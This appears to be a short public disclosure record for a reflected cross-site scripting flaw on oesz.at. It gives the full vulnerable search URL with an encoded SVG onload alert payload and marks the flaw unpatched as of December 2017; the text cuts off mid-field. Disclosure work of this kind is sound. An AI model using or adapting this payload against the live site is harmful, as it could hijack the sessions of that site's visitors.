oesz.at XSS vulnerability

Vulnerable URL: http://oesz.at/OESZNEU/SUCHE/SQLSUCHE03.php?sstring=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=0=0=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclose...